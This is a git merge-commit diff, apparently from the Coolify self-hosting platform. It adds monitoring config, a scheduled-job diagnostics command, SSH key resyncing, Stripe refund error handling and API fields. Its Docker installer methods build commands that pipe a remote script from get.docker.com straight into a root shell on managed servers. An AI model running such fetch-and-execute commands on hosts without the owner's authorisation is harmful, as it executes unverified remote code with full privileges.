Merge branch 'next' into v4.x
This commit is contained in:
commit
8ef0f07b5b
110 changed files with 9222 additions and 1522 deletions
|
|
@ -24,6 +24,10 @@ RAY_ENABLED=false
|
|||
# Enable Laravel Telescope for debugging
|
||||
TELESCOPE_ENABLED=false
|
||||
|
||||
# Enable Laravel Nightwatch monitoring
|
||||
NIGHTWATCH_ENABLED=false
|
||||
NIGHTWATCH_TOKEN=
|
||||
|
||||
# Selenium Driver URL for Dusk
|
||||
DUSK_DRIVER_URL=http://selenium:4444
|
||||
|
||||
|
|
|
|||
|
|
@ -59,6 +59,7 @@ ### Huge Sponsors
|
|||
|
||||
* [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality
|
||||
* [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API
|
||||
* [ScreenshotOne](https://screenshotone.com?ref=coolify.io) - Screenshot API for devs
|
||||
*
|
||||
|
||||
### Big Sponsors
|
||||
|
|
@ -69,7 +70,7 @@ ### Big Sponsors
|
|||
* [Arcjet](https://arcjet.com?ref=coolify.io) - Advanced web security and performance solutions
|
||||
* [BC Direct](https://bc.direct?ref=coolify.io) - Your trusted technology consulting partner
|
||||
* [Blacksmith](https://blacksmith.sh?ref=coolify.io) - Infrastructure automation platform
|
||||
* [Brand.dev](https://brand.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain
|
||||
* [Context.dev](https://context.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain
|
||||
* [ByteBase](https://www.bytebase.com?ref=coolify.io) - Database CI/CD and Security at Scale
|
||||
* [CodeRabbit](https://coderabbit.ai?ref=coolify.io) - Cut Code Review Time & Bugs in Half
|
||||
* [COMIT](https://comit.international?ref=coolify.io) - New York Times award–winning contractor
|
||||
|
|
@ -89,6 +90,7 @@ ### Big Sponsors
|
|||
* [Logto](https://logto.io?ref=coolify.io) - The better identity infrastructure for developers
|
||||
* [Macarne](https://macarne.com?ref=coolify.io) - Best IP Transit & Carrier Ethernet Solutions for Simplified Network Connectivity
|
||||
* [Mobb](https://vibe.mobb.ai/?ref=coolify.io) - Secure Your AI-Generated Code to Unlock Dev Productivity
|
||||
* [PetroSky Cloud](https://petrosky.io?ref=coolify.io) - Open source cloud deployment solutions
|
||||
* [PFGLabs](https://pfglabs.com?ref=coolify.io) - Build Real Projects with Golang
|
||||
* [Ramnode](https://ramnode.com/?ref=coolify.io) - High Performance Cloud VPS Hosting
|
||||
* [SaasyKit](https://saasykit.com?ref=coolify.io) - Complete SaaS starter kit for developers
|
||||
|
|
|
|||
|
|
@ -11,11 +11,8 @@ class InstallDocker
|
|||
{
|
||||
use AsAction;
|
||||
|
||||
private string $dockerVersion;
|
||||
|
||||
public function handle(Server $server)
|
||||
{
|
||||
$this->dockerVersion = config('constants.docker.minimum_required_version');
|
||||
$supported_os_type = $server->validateOS();
|
||||
if (! $supported_os_type) {
|
||||
throw new \Exception('Server OS type is not supported for automated installation. Please install Docker manually before continuing: <a target="_blank" class="underline" href="https://coolify.io/docs/installation#manually">documentation</a>.');
|
||||
|
|
@ -118,7 +115,7 @@ public function handle(Server $server)
|
|||
|
||||
private function getDebianDockerInstallCommand(): string
|
||||
{
|
||||
return "curl --max-time 300 --retry 3 https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl --max-time 300 --retry 3 https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (".
|
||||
return 'curl -fsSL https://get.docker.com | sh || ('.
|
||||
'. /etc/os-release && '.
|
||||
'install -m 0755 -d /etc/apt/keyrings && '.
|
||||
'curl -fsSL https://download.docker.com/linux/${ID}/gpg -o /etc/apt/keyrings/docker.asc && '.
|
||||
|
|
@ -131,7 +128,7 @@ private function getDebianDockerInstallCommand(): string
|
|||
|
||||
private function getRhelDockerInstallCommand(): string
|
||||
{
|
||||
return "curl https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (".
|
||||
return 'curl -fsSL https://get.docker.com | sh || ('.
|
||||
'dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo && '.
|
||||
'dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin && '.
|
||||
'systemctl start docker && '.
|
||||
|
|
@ -141,7 +138,7 @@ private function getRhelDockerInstallCommand(): string
|
|||
|
||||
private function getSuseDockerInstallCommand(): string
|
||||
{
|
||||
return "curl https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (".
|
||||
return 'curl -fsSL https://get.docker.com | sh || ('.
|
||||
'zypper addrepo https://download.docker.com/linux/sles/docker-ce.repo && '.
|
||||
'zypper refresh && '.
|
||||
'zypper install -y --no-confirm docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin && '.
|
||||
|
|
@ -152,10 +149,6 @@ private function getSuseDockerInstallCommand(): string
|
|||
|
||||
private function getArchDockerInstallCommand(): string
|
||||
{
|
||||
// Use -Syu to perform full system upgrade before installing Docker
|
||||
// Partial upgrades (-Sy without -u) are discouraged on Arch Linux
|
||||
// as they can lead to broken dependencies and system instability
|
||||
// Use --needed to skip reinstalling packages that are already up-to-date (idempotent)
|
||||
return 'pacman -Syu --noconfirm --needed docker docker-compose && '.
|
||||
'systemctl enable docker.service && '.
|
||||
'systemctl start docker.service';
|
||||
|
|
@ -163,6 +156,6 @@ private function getArchDockerInstallCommand(): string
|
|||
|
||||
private function getGenericDockerInstallCommand(): string
|
||||
{
|
||||
return "curl --max-time 300 --retry 3 https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl --max-time 300 --retry 3 https://get.docker.com | sh -s -- --version {$this->dockerVersion}";
|
||||
return 'curl -fsSL https://get.docker.com | sh';
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -19,7 +19,7 @@ public function __construct(?StripeClient $stripe = null)
|
|||
/**
|
||||
* Check if the team's subscription is eligible for a refund.
|
||||
*
|
||||
* @return array{eligible: bool, days_remaining: int, reason: string}
|
||||
* @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null}
|
||||
*/
|
||||
public function checkEligibility(Team $team): array
|
||||
{
|
||||
|
|
@ -43,8 +43,10 @@ public function checkEligibility(Team $team): array
|
|||
return $this->ineligible('Subscription not found in Stripe.');
|
||||
}
|
||||
|
||||
$currentPeriodEnd = $stripeSubscription->current_period_end;
|
||||
|
||||
if (! in_array($stripeSubscription->status, ['active', 'trialing'])) {
|
||||
return $this->ineligible("Subscription status is '{$stripeSubscription->status}'.");
|
||||
return $this->ineligible("Subscription status is '{$stripeSubscription->status}'.", $currentPeriodEnd);
|
||||
}
|
||||
|
||||
$startDate = \Carbon\Carbon::createFromTimestamp($stripeSubscription->start_date);
|
||||
|
|
@ -52,13 +54,14 @@ public function checkEligibility(Team $team): array
|
|||
$daysRemaining = self::REFUND_WINDOW_DAYS - $daysSinceStart;
|
||||
|
||||
if ($daysRemaining <= 0) {
|
||||
return $this->ineligible('The 30-day refund window has expired.');
|
||||
return $this->ineligible('The 30-day refund window has expired.', $currentPeriodEnd);
|
||||
}
|
||||
|
||||
return [
|
||||
'eligible' => true,
|
||||
'days_remaining' => $daysRemaining,
|
||||
'reason' => 'Eligible for refund.',
|
||||
'current_period_end' => $currentPeriodEnd,
|
||||
];
|
||||
}
|
||||
|
||||
|
|
@ -99,16 +102,27 @@ public function execute(Team $team): array
|
|||
'payment_intent' => $paymentIntentId,
|
||||
]);
|
||||
|
||||
$this->stripe->subscriptions->cancel($subscription->stripe_subscription_id);
|
||||
// Record refund immediately so it cannot be retried if cancel fails
|
||||
$subscription->update([
|
||||
'stripe_refunded_at' => now(),
|
||||
'stripe_feedback' => 'Refund requested by user',
|
||||
'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(),
|
||||
]);
|
||||
|
||||
try {
|
||||
$this->stripe->subscriptions->cancel($subscription->stripe_subscription_id);
|
||||
} catch (\Exception $e) {
|
||||
\Log::critical("Refund succeeded but subscription cancel failed for team {$team->id}: ".$e->getMessage());
|
||||
send_internal_notification(
|
||||
"CRITICAL: Refund succeeded but cancel failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual intervention required."
|
||||
);
|
||||
}
|
||||
|
||||
$subscription->update([
|
||||
'stripe_cancel_at_period_end' => false,
|
||||
'stripe_invoice_paid' => false,
|
||||
'stripe_trial_already_ended' => false,
|
||||
'stripe_past_due' => false,
|
||||
'stripe_feedback' => 'Refund requested by user',
|
||||
'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(),
|
||||
'stripe_refunded_at' => now(),
|
||||
]);
|
||||
|
||||
$team->subscriptionEnded();
|
||||
|
|
@ -128,14 +142,15 @@ public function execute(Team $team): array
|
|||
}
|
||||
|
||||
/**
|
||||
* @return array{eligible: bool, days_remaining: int, reason: string}
|
||||
* @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null}
|
||||
*/
|
||||
private function ineligible(string $reason): array
|
||||
private function ineligible(string $reason, ?int $currentPeriodEnd = null): array
|
||||
{
|
||||
return [
|
||||
'eligible' => false,
|
||||
'days_remaining' => 0,
|
||||
'reason' => $reason,
|
||||
'current_period_end' => $currentPeriodEnd,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -153,12 +153,19 @@ public function execute(Team $team, int $quantity): array
|
|||
\Log::warning("Subscription {$subscription->stripe_subscription_id} quantity updated but invoice not paid (status: {$latestInvoice->status}) for team {$team->name}. Reverting to {$previousQuantity}.");
|
||||
|
||||
// Revert subscription quantity on Stripe
|
||||
$this->stripe->subscriptions->update($subscription->stripe_subscription_id, [
|
||||
'items' => [
|
||||
['id' => $item->id, 'quantity' => $previousQuantity],
|
||||
],
|
||||
'proration_behavior' => 'none',
|
||||
]);
|
||||
try {
|
||||
$this->stripe->subscriptions->update($subscription->stripe_subscription_id, [
|
||||
'items' => [
|
||||
['id' => $item->id, 'quantity' => $previousQuantity],
|
||||
],
|
||||
'proration_behavior' => 'none',
|
||||
]);
|
||||
} catch (\Exception $revertException) {
|
||||
\Log::critical("Failed to revert Stripe quantity for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Stripe may have quantity {$quantity} but local is {$previousQuantity}. Error: ".$revertException->getMessage());
|
||||
send_internal_notification(
|
||||
"CRITICAL: Stripe quantity revert failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual reconciliation required."
|
||||
);
|
||||
}
|
||||
|
||||
// Void the unpaid invoice
|
||||
if ($latestInvoice->id) {
|
||||
|
|
|
|||
22
app/Console/Commands/Nightwatch.php
Normal file
22
app/Console/Commands/Nightwatch.php
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use Illuminate\Console\Command;
|
||||
|
||||
class Nightwatch extends Command
|
||||
{
|
||||
protected $signature = 'start:nightwatch';
|
||||
|
||||
protected $description = 'Start Nightwatch';
|
||||
|
||||
public function handle(): void
|
||||
{
|
||||
if (config('constants.nightwatch.is_nightwatch_enabled')) {
|
||||
$this->info('Nightwatch is enabled on this server.');
|
||||
$this->call('nightwatch:agent');
|
||||
}
|
||||
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
255
app/Console/Commands/ScheduledJobDiagnostics.php
Normal file
255
app/Console/Commands/ScheduledJobDiagnostics.php
Normal file
|
|
@ -0,0 +1,255 @@
|
|||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\DockerCleanupExecution;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\ScheduledTask;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Console\Command;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
class ScheduledJobDiagnostics extends Command
|
||||
{
|
||||
protected $signature = 'scheduled:diagnostics
|
||||
{--type=all : Type to inspect: docker-cleanup, backups, tasks, server-jobs, all}
|
||||
{--server= : Filter by server ID}';
|
||||
|
||||
protected $description = 'Inspect dedup cache state and scheduling decisions for all scheduled jobs';
|
||||
|
||||
public function handle(): int
|
||||
{
|
||||
$type = $this->option('type');
|
||||
$serverFilter = $this->option('server');
|
||||
|
||||
$this->outputHeartbeat();
|
||||
|
||||
if (in_array($type, ['all', 'docker-cleanup'])) {
|
||||
$this->inspectDockerCleanups($serverFilter);
|
||||
}
|
||||
|
||||
if (in_array($type, ['all', 'backups'])) {
|
||||
$this->inspectBackups();
|
||||
}
|
||||
|
||||
if (in_array($type, ['all', 'tasks'])) {
|
||||
$this->inspectTasks();
|
||||
}
|
||||
|
||||
if (in_array($type, ['all', 'server-jobs'])) {
|
||||
$this->inspectServerJobs($serverFilter);
|
||||
}
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
|
||||
private function outputHeartbeat(): void
|
||||
{
|
||||
$heartbeat = Cache::get('scheduled-job-manager:heartbeat');
|
||||
if ($heartbeat) {
|
||||
$age = Carbon::parse($heartbeat)->diffForHumans();
|
||||
$this->info("Scheduler heartbeat: {$heartbeat} ({$age})");
|
||||
} else {
|
||||
$this->error('Scheduler heartbeat: MISSING — ScheduledJobManager may not be running');
|
||||
}
|
||||
$this->newLine();
|
||||
}
|
||||
|
||||
private function inspectDockerCleanups(?string $serverFilter): void
|
||||
{
|
||||
$this->info('=== Docker Cleanup Jobs ===');
|
||||
|
||||
$servers = $this->getServers($serverFilter);
|
||||
|
||||
$rows = [];
|
||||
foreach ($servers as $server) {
|
||||
$frequency = data_get($server->settings, 'docker_cleanup_frequency', '0 * * * *');
|
||||
if (isset(VALID_CRON_STRINGS[$frequency])) {
|
||||
$frequency = VALID_CRON_STRINGS[$frequency];
|
||||
}
|
||||
|
||||
$dedupKey = "docker-cleanup:{$server->id}";
|
||||
$cacheValue = Cache::get($dedupKey);
|
||||
$timezone = data_get($server->settings, 'server_timezone', config('app.timezone'));
|
||||
|
||||
if (validate_timezone($timezone) === false) {
|
||||
$timezone = config('app.timezone');
|
||||
}
|
||||
|
||||
$wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
|
||||
|
||||
$lastExecution = DockerCleanupExecution::where('server_id', $server->id)
|
||||
->latest()
|
||||
->first();
|
||||
|
||||
$rows[] = [
|
||||
$server->id,
|
||||
$server->name,
|
||||
$timezone,
|
||||
$frequency,
|
||||
$dedupKey,
|
||||
$cacheValue ?? '<missing>',
|
||||
$wouldFire ? 'YES' : 'no',
|
||||
$lastExecution ? $lastExecution->status.' @ '.$lastExecution->created_at : 'never',
|
||||
];
|
||||
}
|
||||
|
||||
$this->table(
|
||||
['ID', 'Server', 'TZ', 'Frequency', 'Dedup Key', 'Cache Value', 'Would Fire', 'Last Execution'],
|
||||
$rows
|
||||
);
|
||||
$this->newLine();
|
||||
}
|
||||
|
||||
private function inspectBackups(): void
|
||||
{
|
||||
$this->info('=== Scheduled Backups ===');
|
||||
|
||||
$backups = ScheduledDatabaseBackup::with(['database'])
|
||||
->where('enabled', true)
|
||||
->get();
|
||||
|
||||
$rows = [];
|
||||
foreach ($backups as $backup) {
|
||||
$server = $backup->server();
|
||||
$frequency = $backup->frequency;
|
||||
if (isset(VALID_CRON_STRINGS[$frequency])) {
|
||||
$frequency = VALID_CRON_STRINGS[$frequency];
|
||||
}
|
||||
|
||||
$dedupKey = "scheduled-backup:{$backup->id}";
|
||||
$cacheValue = Cache::get($dedupKey);
|
||||
$timezone = $server ? data_get($server->settings, 'server_timezone', config('app.timezone')) : config('app.timezone');
|
||||
|
||||
if (validate_timezone($timezone) === false) {
|
||||
$timezone = config('app.timezone');
|
||||
}
|
||||
|
||||
$wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
|
||||
|
||||
$rows[] = [
|
||||
$backup->id,
|
||||
$backup->database_type ?? 'unknown',
|
||||
$server?->name ?? 'N/A',
|
||||
$frequency,
|
||||
$cacheValue ?? '<missing>',
|
||||
$wouldFire ? 'YES' : 'no',
|
||||
];
|
||||
}
|
||||
|
||||
$this->table(
|
||||
['Backup ID', 'DB Type', 'Server', 'Frequency', 'Cache Value', 'Would Fire'],
|
||||
$rows
|
||||
);
|
||||
$this->newLine();
|
||||
}
|
||||
|
||||
private function inspectTasks(): void
|
||||
{
|
||||
$this->info('=== Scheduled Tasks ===');
|
||||
|
||||
$tasks = ScheduledTask::with(['service', 'application'])
|
||||
->where('enabled', true)
|
||||
->get();
|
||||
|
||||
$rows = [];
|
||||
foreach ($tasks as $task) {
|
||||
$server = $task->server();
|
||||
$frequency = $task->frequency;
|
||||
if (isset(VALID_CRON_STRINGS[$frequency])) {
|
||||
$frequency = VALID_CRON_STRINGS[$frequency];
|
||||
}
|
||||
|
||||
$dedupKey = "scheduled-task:{$task->id}";
|
||||
$cacheValue = Cache::get($dedupKey);
|
||||
$timezone = $server ? data_get($server->settings, 'server_timezone', config('app.timezone')) : config('app.timezone');
|
||||
|
||||
if (validate_timezone($timezone) === false) {
|
||||
$timezone = config('app.timezone');
|
||||
}
|
||||
|
||||
$wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
|
||||
|
||||
$rows[] = [
|
||||
$task->id,
|
||||
$task->name,
|
||||
$server?->name ?? 'N/A',
|
||||
$frequency,
|
||||
$cacheValue ?? '<missing>',
|
||||
$wouldFire ? 'YES' : 'no',
|
||||
];
|
||||
}
|
||||
|
||||
$this->table(
|
||||
['Task ID', 'Name', 'Server', 'Frequency', 'Cache Value', 'Would Fire'],
|
||||
$rows
|
||||
);
|
||||
$this->newLine();
|
||||
}
|
||||
|
||||
private function inspectServerJobs(?string $serverFilter): void
|
||||
{
|
||||
$this->info('=== Server Manager Jobs ===');
|
||||
|
||||
$servers = $this->getServers($serverFilter);
|
||||
|
||||
$rows = [];
|
||||
foreach ($servers as $server) {
|
||||
$timezone = data_get($server->settings, 'server_timezone', config('app.timezone'));
|
||||
if (validate_timezone($timezone) === false) {
|
||||
$timezone = config('app.timezone');
|
||||
}
|
||||
|
||||
$dedupKeys = [
|
||||
"sentinel-restart:{$server->id}" => '0 0 * * *',
|
||||
"server-patch-check:{$server->id}" => '0 0 * * 0',
|
||||
"server-check:{$server->id}" => isCloud() ? '*/5 * * * *' : '* * * * *',
|
||||
"server-storage-check:{$server->id}" => data_get($server->settings, 'server_disk_usage_check_frequency', '0 23 * * *'),
|
||||
];
|
||||
|
||||
foreach ($dedupKeys as $dedupKey => $frequency) {
|
||||
if (isset(VALID_CRON_STRINGS[$frequency])) {
|
||||
$frequency = VALID_CRON_STRINGS[$frequency];
|
||||
}
|
||||
|
||||
$cacheValue = Cache::get($dedupKey);
|
||||
$wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
|
||||
|
||||
$rows[] = [
|
||||
$server->id,
|
||||
$server->name,
|
||||
$dedupKey,
|
||||
$frequency,
|
||||
$cacheValue ?? '<missing>',
|
||||
$wouldFire ? 'YES' : 'no',
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
$this->table(
|
||||
['Server ID', 'Server', 'Dedup Key', 'Frequency', 'Cache Value', 'Would Fire'],
|
||||
$rows
|
||||
);
|
||||
$this->newLine();
|
||||
}
|
||||
|
||||
private function getServers(?string $serverFilter): \Illuminate\Support\Collection
|
||||
{
|
||||
$query = Server::with('settings')->where('ip', '!=', '1.2.3.4');
|
||||
|
||||
if ($serverFilter) {
|
||||
$query->where('id', $serverFilter);
|
||||
}
|
||||
|
||||
if (isCloud()) {
|
||||
$servers = $query->whereRelation('team.subscription', 'stripe_invoice_paid', true)->get();
|
||||
$own = Team::find(0)?->servers()->with('settings')->get() ?? collect();
|
||||
|
||||
return $servers->merge($own);
|
||||
}
|
||||
|
||||
return $query->get();
|
||||
}
|
||||
}
|
||||
|
|
@ -8,6 +8,7 @@
|
|||
use Illuminate\Support\Facades\Hash;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class SshMultiplexingHelper
|
||||
{
|
||||
|
|
@ -209,12 +210,37 @@ private static function isMultiplexingEnabled(): bool
|
|||
private static function validateSshKey(PrivateKey $privateKey): void
|
||||
{
|
||||
$keyLocation = $privateKey->getKeyLocation();
|
||||
$checkKeyCommand = "ls $keyLocation 2>/dev/null";
|
||||
$keyCheckProcess = Process::run($checkKeyCommand);
|
||||
$filename = "ssh_key@{$privateKey->uuid}";
|
||||
$disk = Storage::disk('ssh-keys');
|
||||
|
||||
if ($keyCheckProcess->exitCode() !== 0) {
|
||||
$needsRewrite = false;
|
||||
|
||||
if (! $disk->exists($filename)) {
|
||||
$needsRewrite = true;
|
||||
} else {
|
||||
$diskContent = $disk->get($filename);
|
||||
if ($diskContent !== $privateKey->private_key) {
|
||||
Log::warning('SSH key file content does not match database, resyncing', [
|
||||
'key_uuid' => $privateKey->uuid,
|
||||
]);
|
||||
$needsRewrite = true;
|
||||
}
|
||||
}
|
||||
|
||||
if ($needsRewrite) {
|
||||
$privateKey->storeInFileSystem();
|
||||
}
|
||||
|
||||
// Ensure correct permissions (SSH requires 0600)
|
||||
if (file_exists($keyLocation)) {
|
||||
$currentPerms = fileperms($keyLocation) & 0777;
|
||||
if ($currentPerms !== 0600 && ! chmod($keyLocation, 0600)) {
|
||||
Log::warning('Failed to set SSH key file permissions to 0600', [
|
||||
'key_uuid' => $privateKey->uuid,
|
||||
'path' => $keyLocation,
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static function getCommonSshOptions(Server $server, string $sshKeyLocation, int $connectionTimeout, int $serverInterval, bool $isScp = false): string
|
||||
|
|
|
|||
|
|
@ -11,6 +11,8 @@
|
|||
use App\Models\Application;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\GithubApp;
|
||||
use App\Models\LocalFileVolume;
|
||||
use App\Models\LocalPersistentVolume;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
|
|
@ -18,6 +20,7 @@
|
|||
use App\Rules\ValidGitBranch;
|
||||
use App\Rules\ValidGitRepositoryUrl;
|
||||
use App\Services\DockerImageParser;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
|
|
@ -2471,7 +2474,7 @@ public function update_by_uuid(Request $request)
|
|||
$this->authorize('update', $application);
|
||||
|
||||
$server = $application->destination->server;
|
||||
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
|
||||
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
|
||||
|
||||
$validationRules = [
|
||||
'name' => 'string|max:255',
|
||||
|
|
@ -2482,8 +2485,6 @@ public function update_by_uuid(Request $request)
|
|||
'docker_compose_domains.*' => 'array:name,domain',
|
||||
'docker_compose_domains.*.name' => 'string|required',
|
||||
'docker_compose_domains.*.domain' => 'string|nullable',
|
||||
'docker_compose_custom_start_command' => 'string|nullable',
|
||||
'docker_compose_custom_build_command' => 'string|nullable',
|
||||
'custom_nginx_configuration' => 'string|nullable',
|
||||
'is_http_basic_auth_enabled' => 'boolean|nullable',
|
||||
'http_basic_auth_username' => 'string',
|
||||
|
|
@ -2958,7 +2959,7 @@ public function update_env_by_uuid(Request $request)
|
|||
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
|
||||
|
||||
if (! $application) {
|
||||
return response()->json([
|
||||
|
|
@ -3159,7 +3160,7 @@ public function create_bulk_envs(Request $request)
|
|||
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
|
||||
|
||||
if (! $application) {
|
||||
return response()->json([
|
||||
|
|
@ -3176,7 +3177,7 @@ public function create_bulk_envs(Request $request)
|
|||
], 400);
|
||||
}
|
||||
$bulk_data = collect($bulk_data)->map(function ($item) {
|
||||
return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']);
|
||||
return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']);
|
||||
});
|
||||
$returnedEnvs = collect();
|
||||
foreach ($bulk_data as $item) {
|
||||
|
|
@ -3189,6 +3190,7 @@ public function create_bulk_envs(Request $request)
|
|||
'is_shown_once' => 'boolean',
|
||||
'is_runtime' => 'boolean',
|
||||
'is_buildtime' => 'boolean',
|
||||
'comment' => 'string|nullable|max:256',
|
||||
]);
|
||||
if ($validator->fails()) {
|
||||
return response()->json([
|
||||
|
|
@ -3221,6 +3223,9 @@ public function create_bulk_envs(Request $request)
|
|||
if ($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) {
|
||||
$env->is_buildtime = $item->get('is_buildtime');
|
||||
}
|
||||
if ($item->has('comment') && $env->comment != $item->get('comment')) {
|
||||
$env->comment = $item->get('comment');
|
||||
}
|
||||
$env->save();
|
||||
} else {
|
||||
$env = $application->environment_variables()->create([
|
||||
|
|
@ -3232,6 +3237,7 @@ public function create_bulk_envs(Request $request)
|
|||
'is_shown_once' => $is_shown_once,
|
||||
'is_runtime' => $item->get('is_runtime', true),
|
||||
'is_buildtime' => $item->get('is_buildtime', true),
|
||||
'comment' => $item->get('comment'),
|
||||
'resourceable_type' => get_class($application),
|
||||
'resourceable_id' => $application->id,
|
||||
]);
|
||||
|
|
@ -3255,6 +3261,9 @@ public function create_bulk_envs(Request $request)
|
|||
if ($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) {
|
||||
$env->is_buildtime = $item->get('is_buildtime');
|
||||
}
|
||||
if ($item->has('comment') && $env->comment != $item->get('comment')) {
|
||||
$env->comment = $item->get('comment');
|
||||
}
|
||||
$env->save();
|
||||
} else {
|
||||
$env = $application->environment_variables()->create([
|
||||
|
|
@ -3266,6 +3275,7 @@ public function create_bulk_envs(Request $request)
|
|||
'is_shown_once' => $is_shown_once,
|
||||
'is_runtime' => $item->get('is_runtime', true),
|
||||
'is_buildtime' => $item->get('is_buildtime', true),
|
||||
'comment' => $item->get('comment'),
|
||||
'resourceable_type' => get_class($application),
|
||||
'resourceable_id' => $application->id,
|
||||
]);
|
||||
|
|
@ -3353,7 +3363,7 @@ public function create_env(Request $request)
|
|||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
